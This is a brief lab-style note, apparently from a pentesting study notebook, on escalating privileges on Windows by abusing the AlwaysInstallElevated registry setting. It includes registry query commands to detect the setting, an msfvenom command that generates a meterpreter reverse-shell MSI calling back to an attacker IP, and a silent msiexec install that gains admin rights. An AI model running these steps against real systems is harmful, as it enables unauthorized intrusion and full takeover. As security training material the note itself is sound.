AlwaysInstallElevated
AlwaysInstallElevated → refer in windows like a backdoor which any program can installed with system or admin privilege if this setting is enable

to this vulnerability work must HKLM, HKCU enable AlwaysInstallElevated
HKLM -> refer to all settings in register for whole **machine**
HKCU -> refer to all settings in register for **user**Detection
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
# reg query -> use to read information from register
# \Software\Policies\Microsoft\Windows\Installer -> path in register which have all windows installer settingswe found this option is enabled

so let’s now this setting in user
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
From the output, notice that “AlwaysInstallElevated” value is 1.
Exploit
create a reverse shell and move it to windows
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msithen open session using msfconsole
and then setup the payload using
msiexec /quiet /qn /i C:\Temp\setup.msi
and we get a privilege admin

Last updated